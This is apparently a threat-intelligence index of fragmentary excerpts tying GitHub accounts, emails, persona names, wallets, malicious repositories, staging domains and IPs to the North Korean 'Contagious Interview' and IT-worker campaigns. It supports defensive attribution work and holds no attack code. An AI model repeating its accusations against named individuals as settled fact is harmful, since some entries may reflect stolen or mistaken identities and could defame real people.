migueljose81234@gmail.com (3). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 - github.com/rustsol114 - github.com/maestro418 - github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev -…","…vscode-bootstrapper.vercel.app ## Variant thirteen - November 21, 2025 - Unique Identifier: flag=4 github.com/MahnoorKhushbakht/test-assesment #### Notes: This is one of the child repos and has 11 commits all from November 21, 2025. GitHub Users: - MahnoorKhushbakht -…","…om/fairskyDev0201 URL:https//github.com/solutionGuru0129 URL:https//github.com/dreamsoft07 URL:https//github.com/super-dev03 URL:https//github.com/Mani2044 URL:https//github.com/darkhorse00512 URL:https//github.com/tanaka0722-dev URL:https//github.com/software-dev-web URL:https//any.run/cyb…","…<iandavies2313@gmail.com> Domains: - vscode-helper171.vercel.app ## Variant five - September 8, 2025 - Unique Identifier: flag=307 github.com/markomilivojevic/ethvault_staking #### Notes: This is a child repo and has two commits from September 8 and November 10, 2025. GitHub Users: - m/markomilivojevic - James…","…is required to open the .canvas file. ## Cluster of Interest identified on 30 Jul 2025: ### Mark Limuel Santiago * GitHub 1: https://github.com/marksantiago02 * Display Name: MARK * Repo of interest *…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from SentinelOne (SentinelLabs)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Marvel714 holds marvel714jm@gmail.com (2). Where the address came from a report, the report is https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…m/Gold-Dev726/ https://github.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://…","…masterscent913 - bigforniture1126 - truecoder112 - dar_winpizza - jaleksandar806 - putnikdeveloperbg - github.com/truecode112 - github.com/masterscent913 • [Archive](https://archive.ph/E9Thn) - truecoder112@gmail.com - dar_winpizza@hotmail.com - jaleksandar806@gmail.com -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Unit 42 (Palo Alto Networks)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. pinefirst holds pinefirst@outlook.com (100); MatthewR1103 holds richard.stewart.1202@outlook.com (2). Where the address came from a report, the report is https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…to discuss the scammer himself at the end — first, let’s dig into the malware. The Github Repository The repository we received was: https://github.com/maxalmudhafar0210/react-technical-assessment And there it is — Max Almudhafar again, this time as the GitHub username.…","GitHub account in the April 2026 cross-ecosystem Contagious Interview wave: listed by Socket among the cluster's GitHub accounts and collaborators.","…and GitHub Collaborators https://github.com/golangorg https://github.com/aokisasakidev https://github.com/maxcointech1010 https://github.com/maxcointech0000 GitHub Repositories formstash logutilkit dev-log log-base logger-base pino-debugger mit-license-pkg Filenames…","…GitHub account github.com/aokisasakidev GitHub account github.com/maxcointech1010 GitHub account github.com/maxcointech0000 Response and what to do Socket reported all identified live malicious packages to the affected registries and submitted…","…GitHub Accounts and GitHub Collaborators https://github.com/golangorg https://github.com/aokisasakidev https://github.com/maxcointech1010 https://github.com/maxcointech0000 GitHub Repositories formstash logutilkit dev-log log-base logger-base…","…GitHub account github.com/golangorg GitHub account github.com/aokisasakidev GitHub account github.com/maxcointech1010 GitHub account github.com/maxcointech0000 Response and what to do Socket reported all identified live malicious…","…./beavertail ## Variant seven - September 9, 2025 - Unique Identifier: flag=1 github.com/megaorg42/CoinLocatorDemo #### Notes: This repo appears to be the parent repository for several of the variants as it currently has 211 commits, although it hasn't…","…605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://gi…","…This URL pulls the complete python source code in one zip file: ## Variant zero - April 22, 2025 - Unique Identifier: token=99 github.com/MentarisHub121/TokenPresaleApp #### Notes: This repository predates variant one by one day, however, it has no git commit history.…","…sada.ko Discord Persistent backend identifier across GitHub README and Locanto ad GitHub accounts Account Role github.com/Mentonex (org) Malicious repo host, hub of cluster 1 github.com/danielfounder Daniel Pires persona github.com/nixfroasty James Hensley persona…","…https[ :// ]gitlab.com/real-world-assest-tokenization/goldencity https[ :// ]gitlab.com/goldencity-group/goldencity-demo https[ :// ]github.com/meta-stake/RealEstateVC https[ :// ]github.com/meta-stake/RaceStake https[ :// ]github.com/parth5805/iGuru-Task https[ ://…","…b.com/harrycorfu https://github.com/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://gith…","…C; inferred) | (inferred sibling on confirmed-operator-owned org; loader presence not directly verified) | | [metapulse54/RealEstateDemo](https://github.com/metapulse54/RealEstateDemo) | Real-estate tokenization | realfraction (sub-shape D) | L | | [RockTxoi/DeFi-Estate](https://github.com/RockTxoi/DeFi-Estate) |…","…github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER -…","…github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 -…","…- n.js IP ADDRESSES ASSOCIATED WITH THIS ACTIVITY: - 67.203.7.205 - 45.43.11.199 REPOSITORY ASSOCIATED WITH THIS ACTIVITY: - https://github.com/michalcaladanxyz/caladanecomvp - Note: The repository was active as recently as mid-December 2025, but it has been taken offline.","…James Bello - aka Shiro Masumi? - aka Takao Kamio? - MightyDevKnight - Bighero0122 - github.com/MightyDevKnight - james.mario.bello1209@gmail.com - james@ecf.network - ali.jonsson1800@gmail.com - bighero0122@gmail.com: -…","…wingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://github.com/peppapig13132 https://g…","…![](./magiccraft.png) - ![](./1439093300242239490.png) #### Sava Grujic - Sushi (2021) - Aristok3 - github.com/millicare • [Archive](https://web.archive.org/web/20221021153917/https://github.com/millicare) - github.com/DevWebMaster •…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. millos0308 holds millosmike3@gmail.com (1); Oleksandr522 holds oleksandrkazadaiev522@gmail.com (9); scar813710 holds rodolfguerr@gmail.com (3). Where the address came from a report, the report is https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://github.com/peppapig13132 https://github.com/prettyblueberry https://…","…mireles343 Foundry Testing Drop-in Foundry invariant tests for ERC-4626 vaults May 26, 2026 https://github.com/mireles343/forge-4626-invariants x402-kit skyjum AI Payments HTTP 402 micropayments for AI agents - EVM, Solana, Lightning adapters…","…: suspected https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://…","…on GitHub, Silent Push analysts were able to discover an obfuscated backdoor located at: /backend/services/PaymentServices.js https://github.com/mirzamudassir/blocknovas-nyx-public The repository developers hid their malicious code by inserting numerous spaces before it so that it rendered off-screen.…","…IP address PyLangGhost RAT C2 server used by NICKEL ALLEY https://vscode-ext-git.vercel.app URL NICKEL ALLEY malware staging server https://github.com/mishalepo/test-project URL GitHub repository used by NICKEL ALLEY for social engineering and malware delivery chainlink-api-v3.com Domain name NICKEL ALLEY…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Chollima Group's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. superstar-lab holds topdev1228@protonmail.com (100); mobilestar2015 holds toshyodev@outlook.com (14). Where the address came from a report, the report is https://chollima-group.io/posts/analysis-of-it-worker-logs/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…ryuheimat3 - ryuheimat3@gmail.com - linkedin.com/in/ryuhei-matsuda - github.com/ryuheimat • [Archive](https://archive.ph/V5GsZ) - github.com/mono300genuine • [Archive](https://archive.ph/wip/Am9Cr) - 0x36c67d5ce9e2e4a919f568fc33657fcad0030880 (T) - 0x6fb678b2dd9d2ff50ee9ecf774251dcceb7a2da8…","…0xaf8 - 0xcf5a516b234b958f332dd3c0409c5fda0bd9d1fa Signer on Safe 0xaf8 #### Shiro Masumi - monstar911 - monstar911001@gmail.com - github.com/monstar911 #### Chiko Nakamura Chiko Nakamura - chikonakamura05@gmail.com - chikonakamura613@gmail.com -…","…{\"id\":\"4006670055a03f07\",\"type\":\"link\",\"url\":\"https://github.com/mooncitydev\",\"x\":4620,\"y\":3190,\"width\":400,\"height\":400},…","…https://github.com/hi-tech-AI https://github.com/kirbyAttack https://github.com/legendx0333 https://github.com/lionstar259007 https://github.com/motokimasuo https://github.com/mymiracle0118 https://github.com/swdreams https://github.com/toptalhook https://github.com/techeng322…","…The alias was linked to the GitHub account: GitHub: https://github.com/motokimasuo The GitHub account MotokiMasuo was connected to multiple accounts under surveillance for suspected links to DPRK IT operations .…","…(Removed on March 27, 2024) Core Contributors: https://github.com/NickLFranklin (Main actor, account removed on March 28, 2024) https://github.com/mpereiraesaa (Likely a purchased or stolen account, still active) [0] Aqua Protocol cleanup:…","…m/healer1064/ https://github.com/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://gi…","…borrdd34 - kazunetakeda25 - kazune.takeda@yahoo.com - t.me/ETHFuji (ID: 5407827675) • ([Messages](./user-5407827675-@ETHFuji.txt)) - github.com/mtfuji25 - npmjs.com/~kazunetakeda25 - AKA Joe Hisaishi - Tokyo, Japan - Kazune Takeda Japan MM2947271 - Joe Hisaishi Japan TA3058411 -…","…Github: github.com/Hiccup19940325 github.com/neverm25 github.com/seosigoto github.com/JCollinsX github.com/mtfuji25 github.com/supermutexc github.com/call-by Persona Names: Seo Kiwon Seo Sigoto Jenson Collins Kazune Takeda Joe Hisaishi George…","…Github Repository https://github.com/mthomas0802/Market-Maker-Bot https://github.com/RealToma/Ly_AutoPayBot https://github.com/L34rnT0C0d3 Phishing Site https://app.mercuryswap.io Popular…","…{\"id\":\"889ca8df66304854\",\"type\":\"link\",\"url\":\"https://github.com/MutantRolls\",\"x\":7680,\"y\":1580,\"width\":400,\"height\":400},…","…/ Iwaki Hiroto - mymiracle0118 - iwakihiroto - noahsflood908 - noahsflood908@gmail.com - linkedin.com/in/hiroto-iwaki-54b207306 - github.com/mymiracle0118 • [Archive](https://web.archive.org/web/20240115053832/https://github.com/mymiracle0118) - iwakihiroto-portfolio.vercel.app -…","…https://github.com/kirbyAttack https://github.com/legendx0333 https://github.com/lionstar259007 https://github.com/motokimasuo https://github.com/mymiracle0118 https://github.com/swdreams https://github.com/toptalhook https://github.com/techeng322 https://github.com/tranguixdev…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. RhettButler0529 holds leondragandevelop@gmail.com (11); nancy535 holds leopawel65@gmail.com (2). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/lambda-platform/lambda v0.9.19-...0cf995e71697, v0.9.20-...12b5a6e0c244 lambda-platform Nextron github.com/naol7/dist-task-scheduler v0.0.0-20241120175214-0365b36af82f naol7 Nextron github.com/reauheau/goaubio…","…github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty - github.com/mhcrocky - github.com/naruhitokaide - github.com/Redmon540 - github.com/sp0t - github.com/TOP-DEVELOPER - github.com/twizard410 - github.com/webstar1014 -…","…es888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.github.com/kevin921115 https://github.com/naruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://git…","…m/hermes1108 https://github.com/Lyappunov https://github.com/masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://githu…","…![](./wdev733-cydn95.jpg) #### Nathan Cao / James Lee - Claimed Singapore - rango527 - ncao9127 - github.com/rango527 - github.com/ncao9127 - +65 9073 3165 - https://rango527.github.io/ - https://weedoverse.gitbook.io/weedoverse-rolling-paper-v3.0/team -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Logpresso's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. NebulaNode0728 holds richbondjames@gmail.com (100); Roman77779 holds romanvaraksin763@gmail.com (8). Where the address came from a report, the report is https://logpresso.com/ko/blog/2026-03-09-dprk-remote-it-worker-osint https://www.logpresso.com/en/blog/2026-03-10-dprk-remote-it-worker-osint. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…NelsonMurua913 - albertomira1114 - super1114dev - sr.muruanelson@gmail.com - albertomira1114@gmail.com - super1114dev@gmail.com - github.com/NelsonMurua913 • [Archive](https://web.archive.org/web/20240327040031/https://github.com/nelsonmurua913) - github.com/super1114 •…","Named in the Zhoe Ja Ryong post as the account that persona copied its portfolio site from, and characterized as DPRK in its own right.","…yamamotoziro.0113 - blockchaindeveloper777@gmail.com #### Lucas Steve Moore #### Misc - never08mind25@gmail.com - github.com/neverm25 - denisleedragon@outlook.com - densyaou@gmail.com - eliteknightgold@outlook.com - github.com/Hiccup19940325 -…","…Github: github.com/Hiccup19940325 github.com/neverm25 github.com/seosigoto github.com/JCollinsX github.com/mtfuji25 github.com/supermutexc github.com/call-by Persona Names: Seo…","…scott.brown0629 - scott.brown0629@gmail.com - what.a.fabulous1@gmail.com - sct.brown0629@gmail.com - github.com/breavedev - github.com/nevermindhim - github.com/verytinydever - linkedin.com/in/scott-brown-b947ba29a - linkedin.com/in/scott-brown-813445279 -…","…potter0525james@gmail.com - zoelasa1111@gmail.com - it.galaxy.0315@gmail.com - sasuke031026@gmail.com - f99964995@gmail.com - github.com/newstable - github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 -…","…xy26@gmail.com potter0525james@gmail.com zoelasa1111@gmail.com it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.com Github: https://github.com/newstable https://github.com/webgalaxy315 https://github.com/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://git…","…URL:https://t.me/peregrine423f URL:aaronzeeshan.slack.com URL:aaronsfazzy.slack.com URL:https://github.com/7codewizard URL:https://github.com/neymafullstack URL:https://github.com/swiftcode1121 URL:https://github.com/ghost URL:https://calendly.com/7codewizard/30min…","…github.com/buddy0323 URL:https//github.com/buddy0323/bright0220 URL:https//github.com/bright0220 URL:https//github.com/ghost URL:https//github.com/NeymaFullStack URL:https//github.com/7codewizard URL:https//calendly.com/7codewizard/30min URL:https//github.com/anupam-tiwari/productivity_tracker/iss…","…rahmabit/be_challenge_blockchain/ https://github.com/vnvstore/funtico-labs-assessment-15/ https://github.com/samuelmeadowbiankah/felina/ https://github.com/nhonlvsoict/skill-test-main/ https://github.com/goldendragon68/Bullana/ https://github.com/ivanwassaf/skill-test/ https://github.com/SettleMint-Tech-Hub5/SettleMint_…","…mutual connections: Press enter or click to view image in full size https://github.com/AI0228 https://github.com/warmice71 https://github.com/niceDeve https://github.com/codestar3524 https://github.com/topdev0215 https://github.com/Forest410 https://github.com/enzifiri…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Rezzecup holds johnceballos0716@gmail.com (45); niceworkerok holds kevinlee2821@gmail.com (100); VOLDMOTE1208 holds kkopbusiness1213@gmail.com (100). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…to the protocol. Aqua Protocol Organization: https://github.com/techaqualoan (Removed on March 27, 2024) Core Contributors: https://github.com/NickLFranklin (Main actor, account removed on March 28, 2024) https://github.com/mpereiraesaa (Likely a purchased or stolen account, still active)…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Open Source Malware's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. nikkhielseath holds sethnikhil74@gmail.com (100). Where the address came from a report, the report is https://opensourcemalware.com/blog/contagious-interview-vscode. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Account Role github.com/Mentonex (org) Malicious repo host, hub of cluster 1 github.com/danielfounder Daniel Pires persona github.com/nixfroasty James Hensley persona github.com/fortuneguy97 “Alex” persona, dev.to presence github.com/ToyBoy1127 eugene001127 cluster…","…https://github.com/Nixsora/Sports_Card_Analytics/blob/main/server/src/services/community.js To further build credibility a persona James Jhon that shares a profile picture with vexxloso has been consistently posting on dev.to…","…it.galaxy.0315@gmail.com - sasuke031026@gmail.com - f99964995@gmail.com - github.com/newstable - github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran - github.com/zenggang315 - github.com/sasuke031026 - github.com/sasuke1026 - github.com/sasukeuchiha -…","…m it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.com Github: https://github.com/newstable https://github.com/webgalaxy315 https://github.com/nova-blockchain https://github.com/jayceetran https://github.com/zenggang315 https://github.com/sasuke031026 https://github.com/sasuke1026 https://github.c…","…### shinytechapes - shinytechapes - shinyapes - x.com/shinytechapes - github.com/shinyapes - dillonmarszalek@gmail.com - DillonGru28 - https://github.com/novustechllc - mirakulizicc@gmail.com: Novus Tech LLC --- ## Merlin Dex ### pos-ninja - Haruto Y. - https://github.com/pos-ninja -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from SentinelOne (SentinelLabs)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. OceanDev610 holds fairdev610@gmail.com (5). Where the address came from a report, the report is https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…yappunov https://github.com/masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github…","…It appears that at some point prior to May 14th, his Github profile was deleted[6]. ### OneDev0411 - OneDev0411 - https://github.com/OneDev0411 - cryptoapple1109@gmail.com - 104505361+OneDev0411@users.noreply.github.com - describes himself as a \"Full Stack Web Engineer\"[7].…","…zerox-toml.vercel.app - github.com/zerox-toml • [Archive](https://web.archive.org/web/20250827061237/https://github.com/zerox-toml) - github.com/oracle071 • [Archive](https://web.archive.org/web/20250827061313/https://github.com/oracle071) - linkedin.com/in/aldinosaputra/ -…","…github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid -…","…or click to view image in full size https://github.com/0xb10ckdev If we check who he follows, there is an interesting account: https://github.com/ororopickpocket After checking the followers of ororopickpocket, there are some accounts, for example: https://github.com/capitalist42…","…{\"id\":\"afa3e2cdc6282589\",\"type\":\"link\",\"url\":\"https://github.com/ovbjs\",\"x\":-3420,\"y\":-420,\"width\":400,\"height\":400},…","…: susp https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com…","…https://github.com/Dreamfullstacker https://github.com/miroshar-success https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com…","…paladin-120 - pemba.sherpa5232 - pemba.gelu5232 - pemba.sherpa5232@gmail.com - pemba.gelu5232@gmail.com - github.com/paladin-120 • [Archive](https://archive.ph/nVIz9) - 0xfb5d591e8216f5d0964286f09b1f61114c16aab0 - https://archive.ph/EM0z1 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from ketman.org's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. panda-1127 holds lucaschang1127@gmail.com (100). Where the address came from a report, the report is https://www.ketman.org/dprk-it-workers-in-freelance-platform-onlyDust.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…In total, we confirmed 9 GitHub repos spreading the backdoor: github.com/Collaborate3562/ncipher-backend github.com/Paragkoche/ncipher1.2upgrade-backend-2 github.com/TopStar720/nyx4 github.com/asimhafeezz/blacknovas-test github.com/hrjaffery/nyc-bitquery-whale-transactions github.com/krish…","…com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://github.com/peppapig13132 https://github.com/prettyblueberry https://github.com/renning100 https://rising-star92.github.io/ https://…","…https[ :// ]github.com/meta-stake/RealEstateVC https[ :// ]github.com/meta-stake/RaceStake https[ :// ]github.com/parth5805/iGuru-Task https[ :// ]github.com/adammajoros250-creator/alex111 https[ :// ]github.com/adammajoros250-creator/123456ddd https[ ://…","…github/@paramountsky9990 https://codesandbox.io/u/paul.krumme14163 https://harufuji.vercel.app/ https://socket.dev/npm/user/prettyblueberry https://github.com/paulrsilva-dev/whats-app-bot-chrome-extension https://yhype.me/github/@starking0408 https://thecrazydev-454b7.web.app/ https://faun.dev/@tekmickey0118/ https://devpost.com/tenochbush ht…","…\"index.js\" , \"scripts\" : { \"test\" : \"echo \\\"Error: no test specified\\\" && exit 1\" }, \"repository\" : { \"type\" : \"git\" , \"url\" : \"git+https://github.com/pdec9690/react-html2pdf.git\" }, \"author\" : \"\" , \"license\" : \"ISC\" , \"bugs\" : { \"url\" : \"https://github.com/pdec9690/react-html2pdf/issues\" }, \"homepage\" :…","…PedrinPY Exploit Archive Cross-chain blockchain exploit archive with runnable PoCs May 19, 2026 https://github.com/PedrinPY/rekt-db rekt-db wayout4u Exploit Archive Cross-chain blockchain exploit archive with runnable PoCs May 21,…","…github.com/brent-jeremy - github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev - github.com/squirdev - github.com/pedrodiaz417 - github.com/topsmartpro - t.me/smartdev19961 - t.me/smartdev0205 (ID: 5265691090) •…","…b: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev https://github.com/squirdev https://github.com/pedrodiaz417 https://github.com/topsmartpro Telegram: smartdev19961 smartdev0205 trust0205 Discord: Talented…","…melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://github.com/peppapig13132 https://github.com/prettyblueberry https://github.com/renning100 https://rising-star92.github.io/ https://github.com/seniordev1008 https://…","…hughnolan88@gmail.com - deliminallimited.ws@outlook.com - galaxy85126@gmail.com - leopawel65@gmail.com - github.com/peterz-codes - github.com/camonanesi - github.com/wildwolf085 - github.com/leopawel - t.me/komonado (ID: 1017960142) •…","…l.com jo.hnceballos0716@gmail.com hughnolan88@gmail.com deliminallimited.ws@outlook.com galaxy85126@gmail.com leopawel65@gmail.com Github: https://github.com/peterz-codes https://github.com/camonanesi https://github.com/wildwolf085 https://github.com/leopawel Telegram: komonado Hiring…","…friend) - 2024-2025 (jwtradera cluster) - Referred by zhmolly so probably zhmolly alt - pham0315 - pham.t.35 - pt.trung0315 - github.com/pham0315 - pham.t.35@outlook.com - pt.trung0315@gmail.com - ZW4HoVLVCc1m2y9ej7RTyCmXMCHDkdpotiB5ELF9fX2 #### Sadao Elichi / David Adachi /…","…Daily Dev: https://app.daily.dev/ichikawahiroshi ----------------- ### Shiro Ennosuke / Pavlo Posternak * GitHub 1: https://github.com/phantom-98 (dead) * GitHub 2: https://github.com/saas98 * Email 1: shiroennosuke@gmail.com * Email 2: shiroennosuke@outlook.com * Skype:…","…https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-2.png) #### Dennis DelRosario - github.com/phoenixdevguru - t.me/phoenixdevguru - linkedin.com/in/dennis-delrosario-8ba062222/ - https://x.com/browsercookies/status/1934285777699230194 -…","…masculus https://github.com/metacoffee0x17 https://github.com/mr-new-0509 https://github.com/naruhitokaide https://github.com/OlekSytn https://github.com/pioneer830 https://github.com/sharkxhunter/ https://github.com/Shiny0805/ https://github.com/silivex https://github.com/Skydev-hub https://github…","…![](./danny-jin.jpg) - https://x.com/zachxbt/status/1940388827392344261 #### Muhammad Abdullah - github.com/polartar • [Archive](https://archive.ph/z1ghl) - x.com/m_polartar - 0xf7f89251eaa664993893efea0e55d8ec3306d959 - ![](./muhammad-abdullah.jpg) -…","…TUKiggXUD1frQRWPK3La13FifhvbDBReaA --- ## PONYJACKAL CLUSTER - ![](./ponyjackal-crew.png) #### Benjamin Nguyen - ponyjackal.eth - github.com/ponyjackal • [Archive](https://archive.ph/OV5Yd) - x.com/ponyjackalx - benguyen0214@gmail.com - Has JP Morgan Chase account through Rippling in his…","…github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin -…","…DillonGru28 - https://github.com/novustechllc - mirakulizicc@gmail.com: Novus Tech LLC --- ## Merlin Dex ### pos-ninja - Haruto Y. - https://github.com/pos-ninja - posninja1008@gmail.com - https://www.upwork.com/freelancers/~018609ed7cb64e85f8 - https://github.com/devlord0114 - \"BlockChain…","…./beavertail ## Variant fourteen - September 18, 2025 (suspicious) - Unique Identifier: flag=1 github.com/prahaladbelavadi/CoinLocatorDemo #### Notes: This repo looks like it was published September 18, 2025, but here's the thing: This repo hasn't come up in any of our…","…oalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://github.com/peppapig13132 https://github.com/prettyblueberry https://github.com/renning100 https://rising-star92.github.io/ https://github.com/seniordev1008 https://github.com/ShareHappy0126 https://g…","…“blocknovas” and “nyxcipher” that had the same obfuscated code: github.com/David-Odoh/Nyxcipher github.com/Ianstiefvater/blocknova github.com/PrimarchOrder/Blocknovas-LLC-Test github.com/Yasin-97/blocknovas-test github.com/lArtiquel/nyxcipher.ai github.com/mirzamudassir/blocknovas-nyx-public github.com/trishat…","…cycling is a documented DPRK IT worker technique to evade detection Evidence of the identity chain is preserved in forked repositories: https://github.com/ProSeFraudCatcher/GoldenDev321/commit/ec014ac621a65445ad5b5552541be1989682c77f The profile no longer exists on GitHub, but the forked repository retains the commit metadata revealing the identity transitions. 2.3…","…Kira Network, Metadallion, Party Doge, Yam Finance - jasonlee9627 - 0xJason (Discord) - Punk1004.eth - jasonlee9627@gmail.com - github.com/pudgePenguin - 